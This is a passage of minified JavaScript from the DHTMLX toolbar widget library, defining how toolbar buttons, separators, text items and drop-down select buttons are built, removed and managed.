l=0;l<this.base.childNodes.length;l++){if(this.base.childNodes[l][\"idd\"]!=null&&i==null){if(n++==t)i=this.base.childNodes[l][\"idd\"]}if(i==null)s++}s=i==null?null:s;return e==true?new Array(i,s):i};dhtmlXToolbarObject.prototype.removeItem=function(t){this._removeItem(t);if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype._removeItem=function(t){var e=this.getType(t);t=this.idPrefix+t;var i=this.objPull[t];if(e==\"button\"){i.obj._doOnMouseOver=null;i.obj._doOnMouseOut=null;i.obj._doOnMouseUp=null;i.obj._doOnMouseUpOnceAnywhere=null;i.obj.onclick=null;i.obj.onmouseover=null;i.obj.onmouseout=null;i.obj.onmouseup=null;i.obj.onmousedown=null;i.obj.onselectstart=null;i.obj.renderAs=null;i.obj.idd=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.state=null;i.img=null;i.imgEn=null;i.imgDis=null;i.type=null;i.enableItem=null;i.disableItem=null;i.isEnabled=null;i.showItem=null;i.hideItem=null;i.isVisible=null;i.setItemText=null;i.getItemText=null;i.setItemImage=null;i.clearItemImage=null;i.setItemImageDis=null;i.clearItemImageDis=null;i.setItemToolTip=null;i.getItemToolTip=null}if(e==\"buttonTwoState\"){i.obj._doOnMouseOver=null;i.obj._doOnMouseOut=null;i.obj.onmouseover=null;i.obj.onmouseout=null;i.obj.onmousedown=null;i.obj.onselectstart=null;i.obj.renderAs=null;i.obj.idd=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.state=null;i.img=null;i.imgEn=null;i.imgDis=null;i.type=null;i.enableItem=null;i.disableItem=null;i.isEnabled=null;i.showItem=null;i.hideItem=null;i.isVisible=null;i.setItemText=null;i.getItemText=null;i.setItemImage=null;i.clearItemImage=null;i.setItemImageDis=null;i.clearItemImageDis=null;i.setItemToolTip=null;i.getItemToolTip=null;i.setItemState=null;i.getItemState=null}if(e==\"buttonSelect\"){for(var n in i._listOptions)this.removeListOption(t,n);i._listOptions=null;if(i.polygon._ie6cover){document.body.removeChild(i.polygon._ie6cover);i.polygon._ie6cover=null}i.p_tbl.removeChild(i.p_tbody);i.polygon.removeChild(i.p_tbl);i.polygon.onselectstart=null;document.body.removeChild(i.polygon);i.p_tbody=null;i.p_tbl=null;i.polygon=null;i.obj.onclick=null;i.obj.onmouseover=null;i.obj.onmouseout=null;i.obj.onmouseup=null;i.obj.onmousedown=null;i.obj.onselectstart=null;i.obj.idd=null;i.obj.iddPrefix=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.arw.onclick=null;i.arw.onmouseover=null;i.arw.onmouseout=null;i.arw.onmouseup=null;i.arw.onmousedown=null;i.arw.onselectstart=null;i.arw.parentNode.removeChild(i.arw);i.arw=null;i.renderSelect=null;i.state=null;i.type=null;i.id=null;i.img=null;i.imgEn=null;i.imgDis=null;i.openAll=null;i._isListButton=null;i._separatorButtonSelectObject=null;i._buttonButtonSelectObject=null;i.setWidth=null;i.enableItem=null;i.disableItem=null;i.isEnabled=null;i.showItem=null;i.hideItem=null;i.isVisible=null;i.setItemText=null;i.getItemText=null;i.setItemImage=null;i.clearItemImage=null;i.setItemImageDis=null;i.clearItemImageDis=null;i.setItemToolTip=null;i.getItemToolTip=null;i.addListOption=null;i.removeListOption=null;i.showListOption=null;i.hideListOption=null;i.isListOptionVisible=null;i.enableListOption=null;i.disableListOption=null;i.isListOptionEnabled=null;i.setListOptionPosition=null;i.getListOptionPosition=null;i.setListOptionImage=null;i.getListOptionImage=null;i.clearListOptionImage=null;i.setListOptionText=null;i.getListOptionText=null;i.setListOptionToolTip=null;i.getListOptionToolTip=null;i.forEachListOption=null;i.getAllListOptions=null;i.setListOptionSelected=null;i.getListOptionSelected=null}if(e==\"buttonInput\"){i.obj.childNodes[0].onkeydown=null;i.obj.removeChild(i.obj.childNodes[0]);i.obj.w=null;i.obj.idd=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.type=null;i.enableItem=null;i.disableItem=null;i.isEnabled=null;i.showItem=null;i.hideItem=null;i.isVisible=null;i.setItemToolTip=null;i.getItemToolTip=null;i.setWidth=null;i.getWidth=null;i.setValue=null;i.getValue=null;i.setItemText=null;i.getItemText=null}if(e==\"slider\"){if(window.dhx4.isIPad){document.removeEventListener(\"touchmove\",pen._doOnMouseMoveStart,false);document.removeEventListener(\"touchend\",pen._doOnMouseMoveEnd,false)}else{if(typeof window.addEventListener==\"function\"){window.removeEventListener(\"mousemove\",i.pen._doOnMouseMoveStart,false);window.removeEventListener(\"mouseup\",i.pen._doOnMouseMoveEnd,false)}else{document.body.detachEvent(\"onmousemove\",i.pen._doOnMouseMoveStart);document.body.detachEvent(\"onmouseup\",i.pen._doOnMouseMoveEnd)}}i.pen.allowMove=null;i.pen.initXY=null;i.pen.maxX=null;i.pen.minX=null;i.pen.nowX=null;i.pen.newNowX=null;i.pen.valueMax=null;i.pen.valueMin=null;i.pen.valueNow=null;i.pen._definePos=null;i.pen._detectLimits=null;i.pen._doOnMouseMoveStart=null;i.pen._doOnMouseMoveEnd=null;i.pen.onmousedown=null;i.obj.removeChild(i.pen);i.pen=null;i.label.tip=null;document.body.removeChild(i.label);i.label=null;i.obj.onselectstart=null;i.obj.idd=null;while(i.obj.childNodes.length>0)i.obj.removeChild(i.obj.childNodes[0]);i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.type=null;i.state=null;i.enableItem=null;i.disableItem=null;i.isEnabled=null;i.setItemToolTipTemplate=null;i.getItemToolTipTemplate=null;i.setMaxValue=null;i.setMinValue=null;i.getMaxValue=null;i.getMinValue=null;i.setValue=null;i.getValue=null;i.showItem=null;i.hideItem=null;i.isVisible=null}if(e==\"separator\"){i.obj.onselectstart=null;i.obj.idd=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.type=null;i.showItem=null;i.hideItem=null;i.isVisible=null}if(e==\"text\"){i.obj.onselectstart=null;i.obj.idd=null;i.obj.parentNode.removeChild(i.obj);i.obj=null;i.id=null;i.type=null;i.showItem=null;i.hideItem=null;i.isVisible=null;i.setWidth=null;i.setItemText=null;i.getItemText=null}e=null;i=null;this.objPull[this.idPrefix+t]=null;delete this.objPull[this.idPrefix+t]};(function(){var t=\"addListOption,removeListOption,showListOption,hideListOption,isListOptionVisible,enableListOption,disableListOption,isListOptionEnabled,setListOptionPosition,getListOptionPosition,setListOptionText,getListOptionText,setListOptionToolTip,getListOptionToolTip,setListOptionImage,getListOptionImage,clearListOptionImage,forEachListOption,getAllListOptions,setListOptionSelected,getListOptionSelected\".split(\",\");var e=function(t){return function(e,i,n,s,l,o){e=this.idPrefix+e;if(this.objPull[e]==null)return;if(this.objPull[e][\"type\"]!=\"buttonSelect\")return;return this.objPull[e][t].call(this.objPull[e],i,n,s,l,o)}};for(var i=0;i<t.length;i++){var n=t[i];dhtmlXToolbarObject.prototype[n]=e(n)}})();dhtmlXToolbarObject.prototype._rtlParseBtn=function(t,e){return t+e};dhtmlXToolbarObject.prototype._separatorObject=function(t,e,i){this.id=t.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_sep\";this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.idd=String(e);this.obj.title=i.title||\"\";this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};if(window.dhx4.isIPad){this.obj.ontouchstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;t.cancelBubble=true;return false}}t.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};return this};dhtmlXToolbarObject.prototype._textObject=function(t,e,i){this.id=t.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_text\";this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.idd=String(e);this.obj.title=i.title||\"\";this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};if(window.dhx4.isIPad){this.obj.ontouchstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;t.cancelBubble=true;return false}}this.obj.innerHTML=i.text||\"\";t.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};this.setItemText=function(t){this.obj.innerHTML=t};this.getItemText=function(){return this.obj.innerHTML};this.setWidth=function(t){this.obj.style.width=t+\"px\"};this.setItemToolTip=function(t){this.obj.title=t};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._buttonObject=function(t,e,i){this.id=t.idPrefix+e;this.state=i.enabled!=null?false:true;this.imgEn=i.img||\"\";this.imgDis=i.imgdis||\"\";this.img=this.state?this.imgEn!=\"\"?this.imgEn:\"\":this.imgDis!=\"\"?this.imgDis:\"\";this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.allowClick=false;this.obj.extAction=i.action||null;this.obj.renderAs=this.obj.className;this.obj.idd=String(e);this.obj.title=i.title||\"\";this.obj.pressed=false;this.obj.innerHTML=t._rtlParseBtn(\"\",i.text!=null?\"<div class='dhxtoolbar_text'>\"+(i.icon!=\"\"?\"<i class='fa fa-\"+i.icon+\"'></i> \":\"\")+i.text+\"</div>\":\"\");var n=this;this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){this.allowClick=true;if(n.state==false)return;if(t.anyUsed!=\"none\")return;this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){this.allowClick=false;if(n.state==false)return;if(t.anyUsed!=\"none\")return;this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.renderAs};this.obj.onclick=function(e){if(n.state==false)return;if(this.allowClick==false)return;e=e||event;var i=this.idd.replace(t.idPrefix,\"\");if(this.extAction)try{window[this.extAction](i)}catch(e){}if(t&&t.callEvent)t.callEvent(\"onClick\",[i])};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(e){if(n.state==false){e=e||event;if(e.preventDefault)e.preventDefault();else e.returnValue=false;e.cancelBubble=true;return false}if(t.anyUsed!=\"none\")return;t.anyUsed=this.idd;this.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";this.pressed=true;this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){t.anyUsed=\"none\";this._doOnMouseOut()};return false};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(i){if(n.state==false)return;if(t.anyUsed!=\"none\"){if(t.anyUsed!=this.idd)return}var s=t.anyUsed;this._doOnMouseUp();if(window.dhx4.isIPad&&s!=\"none\"){if(this.extAction){var l=this;window.setTimeout(function(){try{window[l.extAction](e)}catch(t){}l=null},1)}t.callEvent(\"onClick\",[this.idd.replace(t.idPrefix,\"\")])}};if(window.dhx4.isIPad){this.obj.ontouchmove=function(t){this._doOnMouseUp()}}this.obj._doOnMouseUp=function(){t.anyUsed=\"none\";this.className=this.renderAs;this.pressed=false};this.obj._doOnMouseUpOnceAnywhere=function(){this._doOnMouseUp();this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){this._doOnMouseOut()}};t.base.appendChild(this.obj);this.enableItem=function(){t._enableItem(this)};this.disableItem=function(){t._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};this.setItemText=function(e){t._setItemText(this,e)};this.getItemText=function(){return t._getItemText(this)};this.setItemImage=function(e){t._setItemImage(this,e,true)};this.clearItemImage=function(){t._clearItemImage(this,true)};this.setItemImageDis=function(e){t._setItemImage(this,e,false)};this.clearItemImageDis=function(){t._clearItemImage(this,false)};this.setItemToolTip=function(t){this.obj.title=t};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._buttonSelectObject=function(t,e,i){this.id=t.idPrefix+e;this.state=i.enabled!=null?i.enabled==\"true\"?true:false:true;this.imgEn=i.img||\"\";this.imgDis=i.imgdis||\"\";this.img=this.state?this.imgEn!=\"\"?this.imgEn:\"\":this.imgDis!=\"\"?this.imgDis:\"\";this.mode=i.mode||\"button\";if(this.mode==\"select\"){this.openAll=true;this.renderSelect=false;if(!i.text||i.text.length==0)i.text=\"&nbsp;\"}else{this.openAll=window.dhx4.s2b(i.openAll)==true;this.renderSelect=i.renderSelect==null?true:window.dhx4.s2b(i.renderSelect)}this.maxOpen=!isNaN(i.maxOpen?i.maxOpen:\"\")?i.maxOpen:null;this._maxOpenTest=function(){if(!isNaN(this.maxOpen)){if(!t._sbw){var e=document.createElement(\"DIV\");e.className=\"dhxtoolbar_maxopen_test\";document.body.appendChild(e);var i=document.createElement(\"DIV\");i.className=\"dhxtoolbar_maxopen_test2\";e.appendChild(i);t._sbw=e.offsetWidth-i.offsetWidth;e.removeChild(i);i=null;document.body.removeChild(e);e=null}}};this._maxOpenTest();this.obj=document.createElement(\"DIV\");this.obj.allowClick=false;this.obj.extAction=i.action||null;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.renderAs=this.obj.className;this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};this.obj.idd=String(e);this.obj.title=i.title||\"\";this.obj.pressed=false;this.callEvent=false;this.obj.innerHTML=t._rtlParseBtn(\"\",i.text!=null?\"<div class='dhxtoolbar_text'>\"+(i.icon!=\"\"?\"<i class='fa fa-\"+i.icon+\"'></i> \":\"\")+i.text+\"</div>\":\"\");t.base.appendChild(this.obj);this.arw=document.createElement(\"DIV\");this.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.arw.style.display=this.obj.style.display;this.arw.innerHTML=\"<div class='arwimg'>&nbsp;</div>\";this.arw.title=this.obj.title;this.arw.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};t.base.appendChild(this.arw);var n=this;this.obj.onmouseover=function(e){e=e||event;if(t.anyUsed!=\"none\")return;if(!n.state)return;n.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";n.obj.className=n.obj.renderAs;n.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\")};this.obj.onmouseout=function(){n.obj.allowClick=false;if(t.anyUsed!=\"none\")return;if(!n.state)return;n.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";n.obj.className=n.obj.renderAs;n.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\");n.callEvent=false};this.arw.onmouseover=this.obj.onmouseover;this.arw.onmouseout=this.obj.onmouseout;if(this.openAll==true){}else{this.obj.onclick=function(e){e=e||event;if(!n.obj.allowClick)return;if(!n.state)return;if(t.anyUsed!=\"none\")return;var i=n.obj.idd.replace(t.idPrefix,\"\");if(n.obj.extAction)try{window[n.obj.extAction](i)}catch(e){}t.callEvent(\"onClick\",[i])};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(e){e=e||event;if(t.anyUsed!=\"none\")return;if(!n.state)return;n.obj.allowClick=true;n.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";n.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";n.callEvent=true};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(e){e=e||event;e.cancelBubble=true;if(t.anyUsed!=\"none\")return;if(!n.state)return;n.obj.className=n.obj.renderAs;n.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\");if(window.dhx4.isIPad){if(this.extAction){var i=this;window.setTimeout(function(){try{window[i.extAction](s)}catch(t){}i=null},1)}if(n.callEvent){var s=n.obj.idd.replace(t.idPrefix,\"\");t.callEvent(\"onClick\",[s])}}}}if(window.dhx4.isIPad){this.obj.ontouchmove=this.obj.onmouseout}this.arw[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(e){e=e||event;var i=this.className.indexOf(\"dhx_toolbar_arw\")===0?this:this.nextSibling;if(i._skip){e=e||event;e.cancelBubble=true}else{i._skip=true}i=null;if(!n.state)return;if(t.anyUsed==n.obj.idd){n.obj.className=n.obj.renderAs;n.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\");t.anyUsed=\"none\";window.dhx4.zim.clear(n.polygon._idd);n.polygon.style.display=\"none\";if(n.polygon._ie6cover)n.polygon._ie6cover.style.display=\"none\";if(t.conf.skin==\"dhx_terrace\")t._improveTerraceButtonSelect(n.id,true);t.callEvent(\"onButtonSelectHide\",[n.obj.idd])}else{if(t.anyUsed!=\"none\"){if(t.objPull[t.idPrefix+t.anyUsed][\"type\"]==\"buttonSelect\"){var s=t.objPull[t.idPrefix+t.anyUsed];if(s.polygon.style.display!=\"none\"){s.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";s.obj.className=s.obj.renderAs;s.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(s.polygon._idd);s.polygon.style.display=\"none\";if(s.polygon._ie6cover)s.polygon._ie6cover.style.display=\"none\";if(t.conf.skin==\"dhx_terrace\")t._improveTerraceButtonSelect(s.id,true);t.callEvent(\"onButtonSelectHide\",[s.obj.idd])}}}n.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";n.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";t.anyUsed=n.obj.idd;n.polygon.style.top=\"0px\";n.polygon.style.visibility=\"hidden\";n.polygon.style.zIndex=window.dhx4.zim.reserve(n.polygon._idd);n.polygon.style.display=\"\";if(t.conf.skin==\"dhx_terrace\")t._improveTerraceButtonSelect(n.id,false);n._fixMaxOpenHeight(n.maxOpen||null);t._autoDetectVisibleArea();var l=window.dhx4.absTop(n.obj)+n.obj.offsetHeight+t.conf.sel_ofs_y;var o=n.polygon.offsetHeight;if(l+o>t.tY2){var a=n.maxOpen!=null?Math.floor((t.tY2-l)/22):0;if(a>=1){n._fixMaxOpenHeight(a)}else{l=window.dhx4.absTop(n.obj)-o-t.conf.sel_ofs_y;if(l<0)l=0}}n.polygon.style.top=l+\"px\";if(t.rtl){n.polygon.style.left=window.dhx4.absLeft(n.obj)+n.obj.offsetWidth-n.polygon.offsetWidth+t.conf.sel_ofs_x+\"px\"}else{var r=document.body.scrollLeft;var h=r+(window.innerWidth||document.body.clientWidth);var d=window.dhx4.absLeft(n.obj)+t.conf.sel_ofs_x;if(d+n.polygon.offsetWidth>h)d=window.dhx4.absLeft(n.arw)+n.arw.offsetWidth-n.polygon.offsetWidth;n.polygon.style.left=Math.max(d,5)+\"px\"}n.polygon.style.visibility=\"visible\";if(n.polygon._ie6cover){n.polygon._ie6cover.style.left=n.polygon.style.left;n.polygon._ie6cover.style.top=n.polygon.style.top;n.polygon._ie6cover.style.width=n.polygon.offsetWidth+\"px\";n.polygon._ie6cover.style.height=n.polygon.offsetHeight+\"px\";n.polygon._ie6cover.style.display=\"\"}t.callEvent(\"onButtonSelectShow\",[n.obj.idd])}return false};this.arw.onclick=function(t){t=t||event;t.cancelBubble=true};this.arw[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(t){t=t||event;\nt.cancelBubble=true};if(this.openAll===true){this.obj.onclick=this.arw.onclick;this.obj.onmousedown=this.arw.onmousedown;this.obj.onmouseup=this.arw.onmouseup;if(window.dhx4.isIPad){this.obj.ontouchstart=this.arw.ontouchstart;this.obj.ontouchend=this.arw.ontouchend}}this.obj.iddPrefix=t.idPrefix;this._listOptions={};this._fixMaxOpenHeight=function(e){var i=\"auto\";var s=false;if(e!==null){var l=0;for(var o in this._listOptions)l++;if(l>e){this._ph=22*e;i=this._ph+\"px\"}else{s=true}}this.polygon.style.width=\"auto\";this.polygon.style.height=\"auto\";if(!s&&n.maxOpen!=null){this.polygon.style.width=this.p_tbl.offsetWidth+t._sbw+\"px\";this.polygon.style.height=i}};this._separatorButtonSelectObject=function(t,e,i){this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.className=\"tr_sep\";this.obj.tr.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};this.obj.td=document.createElement(\"TD\");this.obj.td.colSpan=\"2\";this.obj.td.className=\"td_btn_sep\";this.obj.td.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};if(isNaN(i))i=n.p_tbody.childNodes.length+1;else if(i<1)i=1;if(i>n.p_tbody.childNodes.length)n.p_tbody.appendChild(this.obj.tr);else n.p_tbody.insertBefore(this.obj.tr,n.p_tbody.childNodes[i-1]);this.obj.tr.appendChild(this.obj.td);this.obj.sep=document.createElement(\"DIV\");this.obj.sep.className=\"btn_sep\";this.obj.sep.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};this.obj.td.appendChild(this.obj.sep);n._listOptions[t]=this.obj;return this};this._buttonButtonSelectObject=function(e,i,s){var l=true;if(typeof i.enabled!=\"undefined\"){l=window.dhx4.s2b(i.enabled)}else if(typeof i.disabled!=\"undefined\"){l=window.dhx4.s2b(i.disabled)}this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.en=l;this.obj.tr.extAction=i.action||null;this.obj.tr._selected=i.selected!=null;this.obj.tr.className=\"tr_btn\"+(this.obj.tr.en?this.obj.tr._selected&&n.renderSelect?\" tr_btn_selected\":\"\":\" tr_btn_disabled\");this.obj.tr.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};this.obj.tr.idd=String(e);if(isNaN(s))s=n.p_tbody.childNodes.length+1;else if(s<1)s=1;if(s>n.p_tbody.childNodes.length)n.p_tbody.appendChild(this.obj.tr);else n.p_tbody.insertBefore(this.obj.tr,n.p_tbody.childNodes[s-1]);this.obj.td_a=document.createElement(\"TD\");this.obj.td_a.className=\"td_btn_img\";this.obj.td_a.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};this.obj.td_b=document.createElement(\"TD\");this.obj.td_b.className=\"td_btn_txt\";this.obj.td_b.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};if(t.rtl){this.obj.tr.appendChild(this.obj.td_b);this.obj.tr.appendChild(this.obj.td_a)}else{this.obj.tr.appendChild(this.obj.td_a);this.obj.tr.appendChild(this.obj.td_b)}if(i.img!=null){this.obj.td_a.innerHTML=\"<img class='btn_sel_img' src='\"+t.conf.icons_path+i.img+\"' border='0'>\";this.obj.tr._img=i.img}else{this.obj.td_a.innerHTML=\"&nbsp;\"}if(i.icon!=null){this.obj.td_a.innerHTML='<i class=\"fa fa-'+i.icon+'\"></i>'}var o=i.text!=null?i.text:i.itemText||\"\";this.obj.td_b.innerHTML=\"<div class='btn_sel_text'>\"+o+\"</div>\";this.obj.tr[window.dhx4.isIPad?\"ontouchstart\":\"onmouseover\"]=function(){if(!this.en||this._selected&&n.renderSelect)return;this.className=\"tr_btn tr_btn_over\"};this.obj.tr.onmouseout=function(){if(!this.en)return;if(this._selected&&n.renderSelect){if(String(this.className).search(\"tr_btn_selected\")==-1)this.className=\"tr_btn tr_btn_selected\"}else{this.className=\"tr_btn\"}};this.obj.tr[window.dhx4.isIPad?\"ontouchend\":\"onclick\"]=function(e){e=e||event;e.cancelBubble=true;if(!this.en)return;n.setListOptionSelected(this.idd.replace(t.idPrefix,\"\"));n.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";n.obj.className=n.obj.renderAs;n.arw.className=String(n.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(n.polygon._idd);n.polygon.style.display=\"none\";if(n.polygon._ie6cover)n.polygon._ie6cover.style.display=\"none\";if(t.conf.skin==\"dhx_terrace\")t._improveTerraceButtonSelect(n.id,true);t.anyUsed=\"none\";t.callEvent(\"onButtonSelectHide\",[n.obj.idd]);var i=this.idd.replace(t.idPrefix,\"\");if(this.extAction)try{window[this.extAction](i)}catch(e){}t.callEvent(\"onClick\",[i])};n._listOptions[e]=this.obj;return this};this.polygon=document.createElement(\"DIV\");this.polygon.dir=\"ltr\";this.polygon.style.display=\"none\";this.polygon.className=\"dhx_toolbar_poly_\"+t.conf.skin+\" dhxtoolbar_icons_\"+t.conf.iconSize;this.polygon.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};this.polygon.onmousedown=function(t){t=t||event;t.cancelBubble=true};this.polygon.style.overflowY=\"auto\";this.polygon._idd=window.dhx4.newId();if(window.dhx4.isIPad){this.polygon.ontouchstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false;t.cancelBubble=true;return false}}this.p_tbl=document.createElement(\"TABLE\");this.p_tbl.className=\"buttons_cont\";this.p_tbl.cellSpacing=\"0\";this.p_tbl.cellPadding=\"0\";this.p_tbl.border=\"0\";this.polygon.appendChild(this.p_tbl);this.p_tbody=document.createElement(\"TBODY\");this.p_tbl.appendChild(this.p_tbody);if(i.options!=null){for(var s=0;s<i.options.length;s++){var l=\"_\"+(i.options[s].type||\"\")+\"ButtonSelectObject\";if(i.options[s].id==null)i.options[s].id=t._genStr(24);if(typeof this[l]==\"function\")new this[l](i.options[s].id,i.options[s])}}document.body.appendChild(this.polygon);if(window.dhx4.isIE6){this.polygon._ie6cover=document.createElement(\"IFRAME\");this.polygon._ie6cover.frameBorder=0;this.polygon._ie6cover.style.position=\"absolute\";this.polygon._ie6cover.style.border=\"none\";this.polygon._ie6cover.style.backgroundColor=\"#000000\";this.polygon._ie6cover.style.filter=\"alpha(opacity=100)\";this.polygon._ie6cover.style.display=\"none\";this.polygon._ie6cover.setAttribute(\"src\",\"javascript:false;\");document.body.appendChild(this.polygon._ie6cover)}this.setWidth=function(t){this.obj.style.width=t-this.arw.offsetWidth+\"px\";this.polygon.style.width=this.obj.offsetWidth+this.arw.offsetWidth-2+\"px\";this.p_tbl.style.width=this.polygon.style.width};this.enableItem=function(){t._enableItem(this)};this.disableItem=function(){t._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\";this.arw.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\";this.arw.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};this.setItemText=function(e){t._setItemText(this,e)};this.getItemText=function(){return t._getItemText(this)};this.setItemImage=function(e){t._setItemImage(this,e,true)};this.clearItemImage=function(){t._clearItemImage(this,true)};this.setItemImageDis=function(e){t._setItemImage(this,e,false)};this.clearItemImageDis=function(){t._clearItemImage(this,false)};this.setItemToolTip=function(t){this.obj.title=t;this.arw.title=t};this.getItemToolTip=function(){return this.obj.title};this.addListOption=function(t,e,i,n,s){if(!(i==\"button\"||i==\"separator\"))return;var l={id:t,type:i,text:n,img:s};new this[\"_\"+i+\"ButtonSelectObject\"](t,l,e)};this.removeListOption=function(t){if(!this._isListButton(t,true))return;var e=this._listOptions[t];if(e.td_a!=null&&e.td_b!=null){e.td_a.onselectstart=null;e.td_b.onselectstart=null;while(e.td_a.childNodes.length>0)e.td_a.removeChild(e.td_a.childNodes[0]);while(e.td_b.childNodes.length>0)e.td_b.removeChild(e.td_b.childNodes[0]);e.tr.onselectstart=null;e.tr.onmouseover=null;e.tr.onmouseout=null;e.tr.onclick=null;while(e.tr.childNodes.length>0)e.tr.removeChild(e.tr.childNodes[0]);e.tr.parentNode.removeChild(e.tr);e.td_a=null;e.td_b=null;e.tr=null}else{e.sep.onselectstart=null;e.td.onselectstart=null;e.tr.onselectstart=null;while(e.td.childNodes.length>0)e.td.removeChild(e.td.childNodes[0]);while(e.tr.childNodes.length>0)e.tr.removeChild(e.tr.childNodes[0]);e.tr.parentNode.removeChild(e.tr);e.sep=null;e.td=null;e.tr=null}e=null;this._listOptions[t]=null;try{delete this._listOptions[t]}catch(i){}};this.showListOption=function(t){if(!this._isListButton(t,true))return;this._listOptions[t].tr.style.display=\"\"};this.hideListOption=function(t){if(!this._isListButton(t,true))return;this._listOptions[t].tr.style.display=\"none\"};this.isListOptionVisible=function(t){if(!this._isListButton(t,true))return;return this._listOptions[t].tr.style.display!=\"none\"};this.enableListOption=function(e){if(!this._isListButton(e))return;this._listOptions[e].tr.en=true;this._listOptions[e].tr.className=\"tr_btn\"+(this._listOptions[e].tr._selected&&t.renderSelect?\" tr_btn_selected\":\"\")};this.disableListOption=function(t){if(!this._isListButton(t))return;this._listOptions[t].tr.en=false;this._listOptions[t].tr.className=\"tr_btn tr_btn_disabled\"};this.isListOptionEnabled=function(t){if(!this._isListButton(t))return;return this._listOptions[t].tr.en};this.setListOptionPosition=function(t,e){if(!this._listOptions[t]||this.getListOptionPosition(t)==e||isNaN(e))return;if(e<1)e=1;var i=this._listOptions[t].tr;this.p_tbody.removeChild(i);if(e>this.p_tbody.childNodes.length)this.p_tbody.appendChild(i);else this.p_tbody.insertBefore(i,this.p_tbody.childNodes[e-1]);i=null};this.getListOptionPosition=function(t){var e=-1;if(!this._listOptions[t])return e;for(var 